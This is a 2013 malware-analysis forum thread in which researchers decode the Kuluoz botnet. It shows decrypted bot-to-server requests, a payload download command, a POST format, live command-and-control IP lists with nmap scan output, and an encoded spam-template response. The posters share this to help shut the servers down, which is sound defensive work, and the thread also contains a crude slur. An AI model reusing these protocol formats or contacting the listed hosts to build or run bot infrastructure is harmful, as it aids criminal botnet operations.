A forum for reverse engineering, OS internals and malware analysis 

Forum for analysis and discussion about malware.
 #19950  by unixfreaxjp
 Thu Jul 04, 2013 6:01 pm
The sample can't be received (yet), but I got these Kuluoz callbacks from @markusg.
I think is important for all of us to know what is the meaning of this callbacks.
So I dare myself to share my experience to KM members here.
Reference, #MalwareMustDie's Case: http://pastebin.com/Ph6nuvXT (no no.. not a promotion.. a share!)

I would like to write here the things that you can get from Kuluoz Botnet traffic after you decrypt,
hope this help others in fighting malware.. be free to add to be a good guidance.

1. Malware Updates Request Formation:
Code: Select all
   /index.php?r=gate&id=9A4cfSPd&group=0711rcm&debug=0&ips=192.168.0.128
    // means:
             botnetID : 9A4cfSPd
             Bot group: 0711rcm 
             Kuluoz Botnet Private IP: 192.168.0.128

// this request will be replied by
Code: Select all
   c=run&u=/get/e0e989581b9ab693e0424fe419a17399.exe&crc=8e2275d02cfbbddf623f60394bb71926
    // means:
           updates (mostly) or another payload: e0e989581b9ab693e0424fe419a17399.exe
           hash: 8e2275d02cfbbddf623f60394bb71926 
This request contains the longest crypted text like:
Code: Select all
h00p://x.x.x.x:8080/pjuR8A3eFC05C3D6062AB6DBF00A15A2B1389FAE53CADA146201712150B54E732C57336FEA8CC7A085C0D8963E732FC563557FCF5BD589B67162E97054706912876624996AE68DB8
2. Request for the CnC information.
Often you saw the shorter request like below:
Code: Select all
   h00p://x.x.x.x:8090/tJcKoBSsEDE95904DB7FA2B3EFA8124C03C088C58D1910B95E39D149B6A34BFD842DF390C5A03DAC33929DAE
which actually a string request below:
Code: Select all
/index.php?r=gate/getipslist&id=tJcKoBSs
You saw↑ the 「getiplist」command was sent via the callback,
this will replying us the encrypted binary data like below:
Code: Select all
   // response (RAW):
      0000   F3 B4 0E 4E 8C 36 BC ED B6 EB 1D 10 0F 9F D3 88    ...N.6..........
      0010   D1 05 7D E5 1F 7E 90 0E EA E4 0C BB 8C 76 A0 97    ..}..~.......v..
      0020   89 DA 66 D7 56 E1 F6 EB 69 96 24 47 4E 51 E3 AF    ..f.V...i.$GNQ..
      0030   4D 74 C5 EE 03 6D 2C D0 9A 8E D2 39 8E 55 69 63    Mt...m,....9.Uic
      0040   5D 85 F7 69 E3 D5 50 3A 84 A7 72 72 D8 8B 0A 39    ]..i..P:..rr...9
      0050   2C 1B 76 30 51 BA 6F 4F 13 10 D2 D9 3E 2F 4A 81    ,.v0Q.oO....>/J.
      0060   F6 91 A8 2D 0C 99 C0 71 06 D3 E6 BD E1 07 89 F4    ...-...q........
      0070   19 99 2C F0 C4 51 B2 C8 D6 55 01 5E 3A 13 CB 92    ..,..Q...U.^:...
      0080   8E E0 1F 1A 1D 58 A5   
which actually contains the below CnC data after decrypted:
Code: Select all
   // decrypted (RAW):
      31 34 39 2e 32 31 30 2e 31 33 30 2e 31 38 3a 39   149.210.130.18:9
      39 33 0a 39 35 2e 31 34 30 2e 34 32 2e 32 37 3a   93.95.140.42.27:
      38 30 38 30 0a 31 38 36 2e 31 31 32 2e 32 31 34   8080.186.112.214
      2e 31 35 38 3a 38 30 38 30 0a 37 37 2e 39 32 2e   .158:8080.77.92.
      31 34 30 2e 32 34 31 3a 38 30 38 30 0a 32 30 32   140.241:8080.202
      2e 32 39 2e 32 32 39 2e 32 33 32 3a 38 30 38 30   .29.229.232:8080
      0a 31 37 38 2e 32 30 38 2e 33 35 2e 31 39 30 3a   .178.208.35.190:
      38 30 38 30 0a 36 32 2e 31 31 33 2e 32 30 30 2e   8080.62.113.200.
      39 35 3a 39 39 33 0a                              95:993.         
a better look:
Code: Select all
     149.210.130.18:993
     95.140.42.27:8080
     186.112.214.158:8080
     77.92.140.241:8080
     202.29.229.232:8080
     178.208.35.190:8080
     62.113.200.95:993.   

3. Checking for latest versions, or idle
This communication is similar to (1), but different in replies.
The request URL after decrypted looks as below:
Code: Select all
/index.php?r=gate&id=cxErZ1nD&group=0410rcm&debug=0&ips=192.168.0.191
which response of idle sign:
Code: Select all
c=idl
4. Misc tips:
4.1. Sorting the private network
In my case they all are using the network IPs of
Code: Select all
192.168.0.xxx
4.2. The CnC using same address are commonly found, with the different port numbers:
Code: Select all
           8090
           993
           (...)
*) If you like this post, please help to shutdown the CNC IP listed above?
They are a real CnC...

#MalwareMustDie!
 #20007  by unixfreaxjp
 Sun Jul 07, 2013 5:07 pm
These moronz changed the botnet recently...
Previously:
Code: Select all
   // decrypted (RAW):
      2f 69 6e 64 65 78 2e 70 68 70 3f 72 3d 67 61 74  /index.php?r=gat
      65 26 69 64 3d 57 76 76 55 42 51 36 31 26 67 72  e&id=WvvUBQ61&gr
      6f 75 70 3d 30 37 31 31 72 63 6d 26 64 65 62 75  oup=0711rcm&debu
      67 3d 30 26 69 70 73 3d 31 39 32 2e 31 36 38 2e  g=0&ips=192.168.
      30 2e 31 33 37                                   0.137     
Now:
Code: Select all
   // decrypted (RAW):
2f 69 6e 64 65 78 2e 70 68 70 3f 72 3d 67 61 74     /index.php?r=gat
65 26 69 64 3d 33 44 34 39 38 41 37 38 37 41 45     e&id=3D498A787AE
34 33 33 32 32 39 39 39 41 32 38 41 35 42 35 37     43322999A28A5B57
43 43 44 36 34 26 67 72 6f 75 70 3d 33 30 30 36     CCD64&group=3006
72 63 6d 26 64 65 62 75 67 3d 30                     rcm&debug=0     
...gets the botnets parameter w/new values..
Code: Select all
id=3D498A78|7AE43322999A28A5B57CCD64
group=3006rcm
debug=0
CnC:
Code: Select all
149.210.130.18:993
186.112.214.158:8080
202.29.229.232:8080
178.208.35.190:8080
64.76.19.241:8080
95.173.186.184:8080
176.122.224.62:8080
82.192.91.224:8080
My scratch analysis is here.. http://pastebin.com/raw.php?i=MfwDnAMt
The main trojan in original form, UPX packed & encrypted is attached.
VT Kuluoz: https://www.virustotal.com/en/file/c96e ... 373196887/
VT FakeAV (4/47): https://www.virustotal.com/en/file/a670 ... /analysis/

Diagram of Kuluoz.B that Infects FakeAV Scheme... (see pic below, be free to use..)
Image

Interesting stuffs

Faking WEP in original binary...(stupid try..)
Image
Check debugger..
Image
After dercrypt the bins.. you see these too? #LOL
Image
After decrypting..
Image
The first one is botID, second one is GroupID, and the requests user-agent and CnC script paths & parameters, plain as ice..(who's the fag is?)

#MalwareMustDie!
Attachments
infected
(29.59 KiB) Downloaded 71 times
 #20012  by unixfreaxjp
 Mon Jul 08, 2013 7:38 am
// Kuluoz CnC list..
// usual port 8080 is not written
// block this IP's 8080 or 993 is a way on mitigation
// For cleanup purpose, I will keep on adding these..
Code: Select all
// take one..
178.208.35.190
186.112.214.158   <---- old
95.140.42.27
203.146.208.180:
202.29.229.232
77.92.140.241

// take two..
149.210.130.18 (993)
95.140.42.27
186.112.214.158   <----- old
77.92.140.241
202.29.229.232
178.208.35.190
62.113.200.95 (993)

// take three..
149.210.130.18 (993)
186.112.214.158   <----- old
202.29.229.232
178.208.35.190
64.76.19.241
95.173.186.184
176.122.224.62
82.192.91.224
// Up and Alive PoC:
Code: Select all
// UPs..
Nmap scan report for 178.208.35.190.static.hosted.by.combell.com (178.208.35.190)
Host is up (0.28s latency).
Nmap scan report for 186.112.214.158
Host is up (0.27s latency).
Nmap scan report for server01.liveport.hu (95.140.42.27)
Host is up (0.30s latency).
Nmap scan report for 203.146.208.180
Host is up (0.11s latency).
Nmap scan report for 202.29.229.232
Host is up (0.11s latency).
Nmap scan report for mail.nusozluk.com (77.92.140.241)
Host is up (0.33s latency).
Nmap scan report for 149-210-130-18.colo.transip.net (149.210.130.18)
Host is up (0.30s latency).
Nmap scan report for 62.113.200.95
Host is up (0.30s latency).
Nmap scan report for boromir.mauriciofrappa.com.ar (64.76.19.241)
Host is up (0.32s latency).
Nmap scan report for 1844604uw.ni.net.tr (95.173.186.184)
Host is up (0.35s latency).
Nmap scan report for 176.122.224.62
Host is up (0.30s latency).
Nmap scan report for voip6.brite-voice.com (82.192.91.224)
Host is up (0.28s latency).
Read data files from: /usr/local/share/nmap
Nmap done: 12 IP addresses (12 hosts up) scanned in 11.22 seconds

// Scan the proxies use in 8080:

Discovered open port 8080/tcp on 202.29.229.232
Discovered open port 8080/tcp on 186.112.214.158
Discovered open port 8080/tcp on 82.192.91.224
Discovered open port 8080/tcp on 64.76.19.241
Discovered open port 8080/tcp on 178.208.35.190
Discovered open port 8080/tcp on 95.173.186.184
Discovered open port 8080/tcp on 176.122.224.62
Completed Connect Scan at 17:22, 0.71s elapsed (12 total ports)
Nmap scan report for 178.208.35.190.static.hosted.by.combell.com (178.208.35.190)
Host is up (0.28s latency).
Scanned at 2013-07-08 17:22:35 JST for 13s
PORT     STATE SERVICE
8080/tcp open  http-proxy

Nmap scan report for 186.112.214.158
Host is up (0.29s latency).
Scanned at 2013-07-08 17:22:35 JST for 13s
PORT     STATE SERVICE
8080/tcp open  http-proxy

Nmap scan report for server01.liveport.hu (95.140.42.27)
Host is up (0.31s latency).
Scanned at 2013-07-08 17:22:35 JST for 13s
PORT     STATE  SERVICE
8080/tcp closed http-proxy

Nmap scan report for 203.146.208.180
Host is up (0.12s latency).
Scanned at 2013-07-08 17:22:35 JST for 13s
PORT     STATE  SERVICE
8080/tcp closed http-proxy

Nmap scan report for 202.29.229.232
Host is up (0.11s latency).
Scanned at 2013-07-08 17:22:35 JST for 13s
PORT     STATE SERVICE
8080/tcp open  http-proxy

Nmap scan report for mail.nusozluk.com (77.92.140.241)
Host is up (0.34s latency).
Scanned at 2013-07-08 17:22:35 JST for 13s
PORT     STATE  SERVICE
8080/tcp closed http-proxy

Nmap scan report for 149-210-130-18.colo.transip.net (149.210.130.18)
Host is up (0.29s latency).
Scanned at 2013-07-08 17:22:35 JST for 13s
PORT     STATE  SERVICE
8080/tcp closed http-proxy

Nmap scan report for 62.113.200.95
Host is up (0.29s latency).
Scanned at 2013-07-08 17:22:35 JST for 13s
PORT     STATE  SERVICE
8080/tcp closed http-proxy

Nmap scan report for boromir.mauriciofrappa.com.ar (64.76.19.241)
Host is up (0.33s latency).
Scanned at 2013-07-08 17:22:35 JST for 13s
PORT     STATE SERVICE
8080/tcp open  http-proxy

Nmap scan report for 1844604uw.ni.net.tr (95.173.186.184)
Host is up (0.36s latency).
Scanned at 2013-07-08 17:22:35 JST for 13s
PORT     STATE SERVICE
8080/tcp open  http-proxy

Nmap scan report for 176.122.224.62
Host is up (0.30s latency).
Scanned at 2013-07-08 17:22:35 JST for 13s
PORT     STATE SERVICE
8080/tcp open  http-proxy

Nmap scan report for voip6.brite-voice.com (82.192.91.224)
Host is up (0.31s latency).
Scanned at 2013-07-08 17:22:35 JST for 13s
PORT     STATE SERVICE
8080/tcp open  http-proxy

// Scan ports 993...

Discovered open port 993/tcp on 77.92.140.241
Discovered open port 993/tcp on 82.192.91.224
Discovered open port 993/tcp on 64.76.19.241
Discovered open port 993/tcp on 149.210.130.18
Discovered open port 993/tcp on 62.113.200.95
Completed Connect Scan at 17:26, 0.73s elapsed (12 total ports)
Nmap scan report for 178.208.35.190.static.hosted.by.combell.com (178.208.35.190)
Host is up (0.28s latency).
Scanned at 2013-07-08 17:26:10 JST for 11s
PORT    STATE  SERVICE
993/tcp closed imaps

Nmap scan report for 186.112.214.158
Host is up (0.27s latency).
Scanned at 2013-07-08 17:26:10 JST for 11s
PORT    STATE  SERVICE
993/tcp closed imaps

Nmap scan report for server01.liveport.hu (95.140.42.27)
Host is up (0.30s latency).
Scanned at 2013-07-08 17:26:10 JST for 11s
PORT    STATE  SERVICE
993/tcp closed imaps

Nmap scan report for 203.146.208.180
Host is up (0.11s latency).
Scanned at 2013-07-08 17:26:10 JST for 11s
PORT    STATE  SERVICE
993/tcp closed imaps

Nmap scan report for 202.29.229.232
Host is up (0.11s latency).
Scanned at 2013-07-08 17:26:10 JST for 11s
PORT    STATE  SERVICE
993/tcp closed imaps

Nmap scan report for mail.nusozluk.com (77.92.140.241)
Host is up (0.33s latency).
Scanned at 2013-07-08 17:26:10 JST for 11s
PORT    STATE SERVICE
993/tcp open  imaps

Nmap scan report for 149-210-130-18.colo.transip.net (149.210.130.18)
Host is up (0.32s latency).
Scanned at 2013-07-08 17:26:10 JST for 11s
PORT    STATE SERVICE
993/tcp open  imaps

Nmap scan report for 62.113.200.95
Host is up (0.30s latency).
Scanned at 2013-07-08 17:26:10 JST for 12s
PORT    STATE SERVICE
993/tcp open  imaps

Nmap scan report for boromir.mauriciofrappa.com.ar (64.76.19.241)
Host is up (0.31s latency).
Scanned at 2013-07-08 17:26:10 JST for 11s
PORT    STATE SERVICE
993/tcp open  imaps

Nmap scan report for 1844604uw.ni.net.tr (95.173.186.184)
Host is up (0.37s latency).
Scanned at 2013-07-08 17:26:10 JST for 12s
PORT    STATE  SERVICE
993/tcp closed imaps

Nmap scan report for 176.122.224.62
Host is up (0.30s latency).
Scanned at 2013-07-08 17:26:10 JST for 12s
PORT    STATE  SERVICE
993/tcp closed imaps

Nmap scan report for voip6.brite-voice.com (82.192.91.224)
Host is up (0.29s latency).
Scanned at 2013-07-08 17:26:10 JST for 11s
PORT    STATE SERVICE
993/tcp open  imaps
#MalwareMustDie!
 #20019  by dumb110
 Mon Jul 08, 2013 4:49 pm
Hi guys,I got this mail today in the morning 7:55 IST

I checked the mail just now and found this fake DHL mail with dofoil malware in attach.
Attachments
pass: infected
(30.9 KiB) Downloaded 62 times
Last edited by EP_X0FF on Tue Jul 09, 2013 2:06 pm, edited 1 time in total. Reason: Malware samples must be placed in password protected archive
 #20023  by eCr
 Tue Jul 09, 2013 7:37 am
dumb110 wrote:Hi guys,I got this mail today in the morning 7:55 IST

I checked the mail just now and found this fake DHL mail with dofoil malware in attach.
It's Kuluoz. http://www.kernelmode.info/forum/viewto ... =10#p20007

Code: Select all
008FFF00  2F 69 6E 64 65 78 2E 70 68 70 3F 72 3D 67 61 74  /index.php?r=gat
008FFF10  65 26 69 64 3D 35 46 31 36 31 36 31 33 38 39 32  e&id=5F161613892
008FFF20  30 44 30 33 31 33 39 35 32 44 37 46 46 43 34 38  0D0313952D7FFC48
008FFF30  30 42 37 35 39 26 67 72 6F 75 70 3D 30 38 30 37  0B759&group=0807
008FFF40  72 63 6D 26 64 65 62 75 67 3D 30                 rcm&debug=0
Code: Select all
008FEEF8  68 74 74 70 3A 2F 2F 39 35 2E 31 37 33 2E 31 38  http://95.173.18
008FEF08  36 2E 31 38 34 3A 38 30 38 30 2F 35 46 31 36 31  6.184:8080/5F161
008FEF18  36 31 33 44 44 35 30 39 34 36 30 39 37 35 35 34  613DD50946097554
008FEF28  35 34 38 34 32 43 46 41 37 39 37 39 44 45 38 45  54842CFA7979DE8E
008FEF38  31 32 37 35 38 38 38 39 44 32 32 32 38 30 46 30  12758889D22280F0
008FEF48  35 31 44 31 32 43 42 43 30 31 36 39 32 30 39 37  51D12CBC01692097
008FEF58  32 46 37 31 43 43 45 46 41 45 38 44 37 36 39 41  2F71CCEFAE8D769A
008FEF68  46 44 45 33 36 46 41 46 44 39 39 33 33 39 37 38  FDE36FAFD9933978
008FEF78  37 37 35 35 36 44 45 44 30 46 38 30 46 37 45 30  77556DED0F80F7E0
008FEF88  43 38 34 44 38 35 30 37 30 31 43 44 32 36 35 32  C84D850701CD2652
008FEF98  43 35 35 43 37 42 34 30 35 33 38 37 34 46 35 32  C55C7B4053874F52
008FEFA8  44 30 39 30 43 42 35 37 38                       D090CB578

008FEEF8  68 74 74 70 3A 2F 2F 38 32 2E 31 39 32 2E 39 31  http://82.192.91
008FEF08  2E 32 32 30 3A 38 30 38 30 2F 35 46 31 36 31 36  .220:8080/5F1616
008FEF18  31 33 44 44 35 30 39 34 36 30 39 37 35 35 34 35  13DD509460975545
008FEF28  34 38 34 32 43 46 41 37 39 37 39 44 45 38 45 31  4842CFA7979DE8E1
008FEF38  32 37 35 38 38 38 39 44 32 32 32 38 30 46 30 35  2758889D22280F05
008FEF48  31 44 31 32 43 42 43 30 31 36 39 32 30 39 37 32  1D12CBC016920972
008FEF58  46 37 31 43 43 45 46 41 45 38 44 37 36 39 41 46  F71CCEFAE8D769AF
008FEF68  44 45 33 36 46 41 46 44 39 39 33 33 39 37 38 37  DE36FAFD99339787
008FEF78  37 35 35 36 44 45 44 30 46 38 30 46 37 45 30 43  7556DED0F80F7E0C
008FEF88  38 34 44 38 35 30 37 30 31 43 44 32 36 35 32 43  84D850701CD2652C
008FEF98  35 35 43 37 42 34 30 35 33 38 37 34 46 35 32 44  55C7B4053874F52D
008FEFA8  30 39 30 43 42 35 37 38                          090CB578

....
 #20028  by unixfreaxjp
 Tue Jul 09, 2013 4:04 pm
Could someone please tell me what this new codes (see the marked part only) is all about??
Image
We should crack the logic to reverse those code:
Code: Select all
8920D0313952D7FFC480B759
into the below template, it must be the private network used by this moronz, they changed this..
Code: Select all
&ips=192.168.000.xxx
This info will help to stop this created botnet. With many thank's in advance!
 #20029  by unixfreaxjp
 Tue Jul 09, 2013 4:19 pm
Please be notice the request to CnC with the POST command.
Rarely occured, but it spotted:

Request (HEADER):
Code: Select all
POST /index.php HTTP/1.1
Host: 188.138.23.51:8080:80
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; SV1; .NET CLR 1.1.4777)
Accept: */*
Accept-Language: en-gb
Accept-Encoding: deflate
Cache-Control: no-cache
Content-Type: multipart/form-data; boundary=1BEF0A57BE110FD467A
Content-Length: 744
Request (DATA) / noted that pair of parameters & values sent per define boundary:
Code: Select all
--1BEF0A57BE110FD467A
Content-Disposition: form-data; name="sid"
0549777811590241

--1BEF0A57BE110FD467A
Content-Disposition: form-data; name="up"
643953

--1BEF0A57BE110FD467A
Content-Disposition: form-data; name="wbfl"
1

--1BEF0A57BE110FD467A
Content-Disposition: form-data; name="v"
301

--1BEF0A57BE110FD467A
Content-Disposition: form-data; name="ping"
661

--1BEF0A57BE110FD467A
Content-Disposition: form-data; name="guid"
{BF6F70E6-D956-4203-BD5C-1BB8129EB40A}

--1BEF0A57BE110FD467A
Content-Disposition: form-data; name="wv"
5#2#3#0#2600#0

--1BEF0A57BE110FD467A
Content-Disposition: form-data; name="sr"
0

--1BEF0A57BE110FD467A
Content-Disposition: form-data; name="ar"
0
I saw some attempts of these requests which making the appointed host (CnC) is replying in
octet-stream (binary) format with filename="BLAHBLAH.BIN"

Response (header):
Code: Select all
HTTP/1.1 200 OK
Server: nginx/1.2.6
Date: Sun, 07 Jul 2013 12:31:17 GMT
Content-Type: multipart/form-data; boundary="1BEF0A57BE110FD467A"
Content-Length: 59613
Connection: close
X-Powered-By: PHP/5.3.3-7+squeeze14
Response (DATA): // looks like an XML based, decoded, saw some of these used in Spambots, suspected spam templates, or worse.. phishing templates.
Code: Select all
--1BEF0A57BE110FD467A
Content-Disposition: form-data; name="COMMON"; filename="COMMON.BIN"
Content-Type: application/octet-stream
'hr.%+./",,,#**."+)/*'4hr.%.'ywtxp%.'m%.***.'4m%.'h%*##5*(#5)(5.*!#+#+.)*(5*#+5,+5*/*!#+#+./-5/.5*,
+5*(!#+#+..+5.,5))#5))+!#+#+.-#5*-"5..5)/#!#+"+.#+5,#5)/.5"-!#+#+'4h%.'h~w}rk%."5*/,5).*5(.'4h~w}rk
%.'vw%.xs~nu|qz[l~wwh}zi|t5xtv.xs~nu|q~vz[bzstt5xtv.xs~nu|q}[bzstt5xtv.xs~nu|qth~ks[|vzrw5xtv.xs~nu
|pzrlttu[bzstt5xtv.xs~nu|pzvxs~u[u~omr|zoti5xtv.xs~nu|pzvb~~[stovzrw5xtv.xs~nu|pzhru[stovzrw5xtv.xs
~nu|p~uu[bzstt5xz.xs~nu|pw[stovzrw5xtv.xs~nu|pv[u~o}ituo5u~o.xs~nu|ptu|rk[bzstt5xtv.xs~nu|pirhoru~[
stovzrw5xtv.xs~nu|phx[bzstt5xtv.xs~nu|pltpwnu|[zstt5xtv.xs~nu|pltpwnu|[bzstt5xtv.xs~nu|wD"#[bzstt5x
tv.xs~nu|wzrsru[xtvxzho5u~o.xs~nu|wzv***[bzstt5xtv.xs~nu|w~,.[bzstt5xtv.xs~nu|w~~#*#[stovzrw5xtv.xs
~nu|w~nu|(+[bzstt5xtv.xs~nu|wrhz**[bzstt5xrv.xs~nu|wrhz**[bzstt5xtv.xs~nu|wt5.i~c~w[|vzrw5xtv.xs~nu
|wtphzu[bzstt5xtv.xs~nu|wbu[bzstt5xtv.xs~nu|v[y~wwhtnos5u~o.xs~nu|v[x}yrh.5~.n.xs~nu|vzubn~[spyu5u~
o.xs~nu|vzhtu[stovzrw5xtv.xs~nu|vtszu[|vzrw5xtv.xs~nu|k()([xh5xtv.xs~nu|kD/+sp[stovzrw5xtv.xs~nu|kr
u|)(/[bzstt5xtv.xs~nu|kn+"[|vzrw5xtv.xs~nu|knr5shy[h~auzv5xa.xs~nu|knr++*[bzstt5xtv5sp.xs~nu|knr++#
.)[u~ohxzk~5u~o.xs~nu|knr).)++*[vhu5xtv.xs~nu|knr(([jnrxp5xa.xs~nu|knrD.tk*[bzstt5xtv5sp.xs~nu|knrs
p/.[bzstt5xtv5sp.xs~nu|knwwru|[rxyxzhrz5xtv5sp.xs~nu|kb[|iz.nzo~5spn5sp.xs~nu|jnr[bzstt5xtv.xs~nu|i
[}ituor~iu~o5u~o.xs~nu|ih[|vzrw5xtv.xs~nu|h[xz5ruo~i5u~o.xs~nu|hzwwb[it|~ih5xtv.xs~nu|hru|wnu[bzstt
5xtv.xs~nu|hnu|[stovzrw5xtv.xs~nu|ozv[stovzrw5xtv.xs~nu|ovp[bzstt5xtv.xs~nu|olr||b[stovzrw5xtv.xs~n
u|nk.o[bzstt5xtv5sp.xs~nu|m~iturxz[bzstt5xtv.xs~nu|mrux~[u~ohxzk~5u~o.xs~nu|l[stovzrw5xtv.xs~nu|l[k
itvhoitr6|itnk5in.xs~nu|lzr[stovzrw5xt5np.xs~nu|lzu}nu|*)(/[|vzrw5xtv.xs~nu|lp[y~iuho~ru5xtv.xs~nu|
b[}hvzrw5u~o.xs~nu|bru}zu[bzstt5xt5np.xs~nu|bn~uv~r[stovzrw5xtv.xs~nu|bnpwru|[stovzrw5xtv.xs~nu|bnu
|Dxvr~x[bzstt5xt5np.xs~nu|bnb~~[snoxsxrob5xtv.xs~nuwrvro~.[bzstt5xtv.xs~nuv~b~i*[l~y6vzrw5xtv5zi.xs
~nuv~b~i[l~y6vzrw5xtv5zi.xs~nut[.tohozu.zi.h5xtv.xs~ntvt[stovzrw5xtv.xs~nk~)-[bzstt5xtv.xs~nk~w[|hy
5nxsrxz|t5~.n.xs~nk~w[smsoizuhktiozortu5xtv.xs~niyh[ztw5xtv.xs~ni}z(++(*",*[stovzrw5xtv.xs~nir#)[bz
stt5xtv5yi.xs~nirx~[ztw5xtv.xs~niru[vzrw5in.xs~niru|[~m*5u~o.xs~niru|[~c~xkx5xtv.xs~niru|[stnhotu5i
i5xtv.xs~niwb[ztw5xtv.xs~niiroz[ztw5xtv.xs~niiroz[|~ihoxt5xtv.xs~nihrur[.tohozu.zi.h5xtv.xs~ninu|[|
vzrw5xtv.xs~nhz*[vhu5xtv.xs~nh~w[.tohozu.zi.h5xtv.xs~nh~i*+/[|vzrw5xtv.xs~nh~i"(.[bzstt5xtv.xs~nh~i
[u~t5ii5xtv.xs~nh~i[ovrr5xtv.xs~nhru|~i[ztw5xtv.xs~nhru|~i[zixszow5xtv.xs~nhru|~i[bzstt5xtv.xs~nhru
pm~w.[vhu5xtv.xs~nhvzuu[|vzrw5xtv.xs~nhh[rtlzo~w~xtv5u~o.xs~nhh[u~lutios5u~o.xs~nho~hh[|xr5u~o.xs~n
ho~hh[sziirh|izm~h5xtv.xs~noru~[ztw5xtv.xs~novzp~i[vhu5xtv.xs~nob}[stovzrw5xtv.xs~noa~uit~.~i[l~yom
5u~o.xs~nmzwr~i[bzstt5xtv.xs~nm~wptwt*[bzstt5xtv.xs~nm~wvzuu[ztw5xtv.xs~nmvtv[stovzrw5xtv.xs~nmvtv[
stovzrw5xtv~.xs~nmituo[|zaoiz.~5u~o.xs~nmituo[stovzrw5xtv.xs~nmituo[qnut5xtv.xs~nmituoD.#[bzstt5xtv
.xs~nmn[nhz5u~o.xs~nmb++,[ztw5xtv.xs~nb.*,[bzstt5xtv.xs~nbb[bzstt5xtv.xs~na*"--[bzstt5xtv.xs~na*"--
[bstt5xtv.xs~m6*".-[stovzrw5xtv.xs~m5..6)[xsziio~i5u~o.xs~m5vx[yr|ktu.5u~o5zn.xs~m5ir.ruyr|[bzstt5x
tv.xs~m5o[it|~ih5xtv.xs~m5buno[wrm~5xtv.xs~m5bhrwm~iz.t)++,[|vzrw5xtv.xs~m+*xzv.#[bzstt5xtv.xs~m+)|
riw[bzstt5xtv.xs~m+.+*[bzstt5xtv.xs~m+.*([ztw5xtv.xs~m+.xtyzwo[ztw5xtv.xs~m+-#[stovzrw5xtv.xs~m+[bz
stt5xtv.xs~m*+#[ztw5xtv.xs~m**+[xtc5u~o.xs~m***)+++[bzstt5xtv.xs~m*))[~zioswrup5u~o.xs~m*))[k~tkw~k
x5xtv.xs~m*)()[stovzrw5xtv.xs~m*)([m~iratu5u~o.xs~m*).t||[ztw5xtv.xs~m*(-"-[ztw5xtv.xs~m*("[ztw5xtv
.xs~m*/**[y~wwhtnos5u~o.xs~m*/yrww[xtvxzho5u~o.xs~m*.++s.[bzstt5xtv.xs~m*.*.[ztw5xtv.xs~m*-"[hyx|wt
yzw5u~o.xs~m*#)+[bzstt5xtv.xs~m*"/#[xtvxzho5u~o.xs~m*".-[hly~ww5u~o.xs~m*".,)[hbvkzorxt5xz.xs~m*".,
so[bzstt5xtv.xs~m*".#[qnut5xtv.xs~m*"-/[xtvxzho5u~o.xs~m*"-/bvzu*"-/[bzstt5xtv.xs~m*"-,[wtxzwu~o5xt
v.xs~m*"-#[~vyzijvzrw5xtv.xs~m*"-"[hyx|wtyzw5u~o.xs~m*",+[stovzrw5xtv.xs~m*",-[ztw5xtv.xs~m*"#([~n.
tizvzrw5xtv.xs~m*"#.h[bzstt5xtv.xs~m)+-[ztw5xtv.xs~m))++,[bzstt5xtv.xs~m)))/[ztw5xtv.xs~m)(,)[ztw5x
tv.xs~m)([stovzrw5xtv.xs~m)/[|vzrw5xtv.xs~m)/|i.[ztw5xtv.xs~m).++s.[|vzrw5xtv.xs~m)"[m~iratu5u~o.xs
~m)xs~irhs[bzstt5xtv.xs~m)}ti.)[bzstt5xtv.xs~m)q~oob[ztw5xtv.xs~m)p[bzstt5xtv.xs~m)v|.[bzstt5xtv.xs
~m(++sk[ztw5xtv.xs~m(*)++*[bzstt5xtv.xs~m(*/."[ztw5xtv.xs~m((iz.rt[xtvxzho5u~o.xs~m(/(/[ztw5xtv.xs~
m(/([bzstt5xtv.xs~m(/[hszl5xz.xs~m(.[zwwo~w5u~o.xs~m(-[qnut5xtv.xs~m(,[x}w5ii5xtv.xs~m(#[bzstt5xtv.
xs~m("-yy[bzstt5xtv.xs~m(xzi[bzstt5xtv.xs~m/+[l~yom5u~o.xs~m/),|[vhu5xtv.xs~m//)[~zioswrup5xtv.xs~m
//)[~zioswrup5u~o.xs~m/./|wo[bzstt5xtv.xs~m/./wh-[ztw5xtv.xs~m/./a[bzstt5xtv.xs~m/..itxp~o[bzstt5xt
v.xs~m/-[k~tkw~kx5xtv.xs~m/,+[bzstt5xtv.xs~m/,[y~wwhtnos5u~o.xs~m/,z~it[lvxtuu~xo5xtv.xs~m/#xtnk~[b
zstt5xtv.xs~m/"[bzstt5xtv.xs~m/wr}~)++([ztw5xtv.xs~m/wr}~[xtvxzho5u~o.xs~m/v~[xtvxzho5u~o.xs~m/hzw~
[ztw5xtv.xs~m/c/yr|horxp[ztw5xtv.xs~m/c/yr|horxp[|vh5ztw5xtv.xs~m/c/a,*[bzstt5xtv.xs~m/btn,([bzstt5
xtv.xs~m.+.[vhu5xtv.xs~m.+")[ztw5xtv.xs~m.+"[ztw5xtv.xs~m.))[u~ohxzk~5u~o.xs~m.)[m~iratu5u~o.xs~m.(
),[bzstt5xtv.xs~m./[zwwo~w5u~o.xs~m..[}ituor~i5xtv.xs~m..[o~wnh5u~o.xs~m..qt~[y~wwhtnos5u~o.xs~m..q
t~[xtvxzho5u~o.xs~m..kvza[jl~ho5u~o.xs~m.,[zoo5u~o.xs~m.,Dy~wzri[bzstt5xtv.xs~m."*[stovzrw5xtv.xs~m
."[ywn~vziyw~5u~o.xs~m-*xto~[stovzrw5xtv.xs~m-))++/[bzstt5xtv.xs~m-(/+"[ztw5xtv.xs~m-(-/[ztw5xtv.xs
~m-(y[u~ohxzk~5u~o.xs~m-/[ztw5xtv.xs~m-/xtum~io[mzwtiu~o5xtv.xs~m-/.nx~[y~wwhtnos5u~o.xs~m-.vzwryn[
bzstt5xtv.xs~m-.hx[ztw5xtv.xs~m--/),[ztw5xtv.xs~m--~ww~[itxp~ovzrw5xtv.xs~m--~ww~[bzstt5xtv.xs~m-,/
[hszl5xz.xs~m-,[xtvxzho5u~o.xs~m-,[itz.inuu~i5xtv.xs~m-,xzv[ztw5xtv.xs~m-,vzw[bzstt5xtv.xs~m-,ho~m~
[bzstt5xtv.xs~m-,m~ww~[bzstt5xz.xs~m-#D)++*[stovzrw5xtv.xs~m-#xiaru[ztw5xtv.xs~m-#rvkz[y~wwhtnos5u~
o.xs~m-#hh/./[bzstt5xtv.xs~m-",")[bzstt5xtv.xs~m-","[bzstt5xtv.xs~m,++i/[stovzrw5xtv.xs~m,+[hyx|wty
zw5u~o.xs~m,+~ww[bzstt5xtv.xs~m,+i/[stovzrw5xtv.xs~m,*xtim~oo~[stovzrw5xtv.xs~m,*~ww~[xtc5u~o.xs~m,
